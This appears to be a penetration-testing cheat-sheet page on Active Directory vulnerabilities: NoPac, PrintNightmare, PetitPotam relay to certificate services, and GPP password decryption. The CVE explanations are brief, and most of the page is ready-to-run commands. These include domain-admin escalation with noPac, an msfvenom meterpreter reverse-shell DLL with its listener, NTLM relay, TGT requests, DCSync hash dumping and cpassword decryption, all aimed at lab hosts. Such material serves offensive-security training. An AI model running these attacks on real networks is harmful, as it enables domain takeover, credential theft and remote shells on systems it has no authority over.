> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# AD Known Vulnerabilities

Specific CVEs and protocol-level misconfigurations

***

## NoPac (SamAccountName Spoofing)

Also known as `SamAccountName Spoofing`, covers two CVEs ([CVE-2021-42278](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278) and [CVE-2021-42287](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287)). Chained together, they let any standard domain user escalate straight to Domain Admin in a single command. See the [original writeup](https://techcommunity.microsoft.com/t5/security-compliance-and-identity/sam-name-impersonation/ba-p/3042699) and [Sophos' analysis](https://www.sophos.com/en-us/blog/nopac-a-tale-of-two-vulnerabilities-that-could-end-in-ransomware) for the full mechanism.

```bash theme={null}
git clone https://github.com/Ridter/noPac.git

# scan if the target is vulnerable
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

# exploit, drop straight into a shell as Administrator
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
```

***

## PrintNightmare

Two vulnerabilities in the Windows Print Spooler service ([CVE-2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) and [CVE-2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675)), present on every Windows host since Print Spooler runs by default, including Domain Controllers. Successful exploitation hands back a SYSTEM shell.

**Invoke-Nightmare (Simple)**

[calebstewart's CVE-2021-1675](https://github.com/calebstewart/CVE-2021-1675) PowerShell PoC adds a local administrator directly, no listener, payload DLL, or SMB server needed at all. The simpler default option.

```powershell theme={null}
# confirm the spooler service is actually running
ls \\<dc-ip>\pipe\spoolss
```

```powershell theme={null}
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
```

**Full RCE Chain (cube0x0)**

[cube0x0's PoC](https://github.com/cube0x0/CVE-2021-1675) drives the vulnerability to a full reverse shell instead of just adding an account, worth the extra steps when a shell (not just a new admin account) is the goal.

```bash theme={null}
git clone https://github.com/cube0x0/CVE-2021-1675.git

# confirm the print protocols are exposed on the target
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

# build a payload and host it over SMB
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
```

```bash theme={null}
# catch the callback
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```bash theme={null}
# trigger it
sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'
```

***

## PetitPotam (MS-EFSRPC)

[CVE-2021-36942](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942), an LSA spoofing flaw: an unauthenticated attacker can coerce a Domain Controller into authenticating (over NTLM, port 445) to a host of their choosing, by abusing the Encrypting File System Remote Protocol (MS-EFSRPC) to reach the Local Security Authority Remote Protocol (LSARPC). On its own this is a coercion primitive, chained with NTLM relay to AD Certificate Services, it takes over the domain outright. See [dirkjanm's writeup](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/) for the full relay chain.

```bash theme={null}
git clone https://github.com/topotam/PetitPotam

# start the relay, targeting the CA's web enrollment endpoint
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

# Variant 1: trigger the DC into authenticating to the relay (Linux)
python3 PetitPotam.py <attack-host-ip> <dc-ip>

# Variant 2: trigger via Mimikatz instead
misc::efs /server:<Domain Controller> /connect:<ATTACK HOST>
```

The relay yields a certificate for the DC's own machine account, trade it for a TGT, then DCSync with it:

```bash theme={null}
# Request TGT Ticket
python3 gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache

# Save ccache file to env variable 
export KRB5CCNAME=dc01.ccache

# Run DCSync Attack and dump all hashes
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
```

> [!TIP]
>
> That last step is [DCSync](https://0-x.dev/ad/domain-credential-dumping.md#dcsync), covered in full on its own page. The only thing new here is *what* makes the DCSync request: a legitimately-issued DC machine account ticket, obtained through coercion rather than through already-held replication rights.

***

## Group Policy Preferences (GPP) Passwords

A GPP is stored as an `.xml` file in the `SYSVOL` share (and cached locally on any endpoint the policy applies to), and can embed a password in its `cpassword` attribute, AES-256 encrypted. Microsoft [published that AES key publicly](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN) in the GPP documentation, so any authenticated domain user who can read `SYSVOL` can decrypt it.

```bash theme={null}
# find registry.xml / groups.xml files carrying autologon/GPP credentials
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin

# decrypt a found cpassword value directly
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
```

***


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.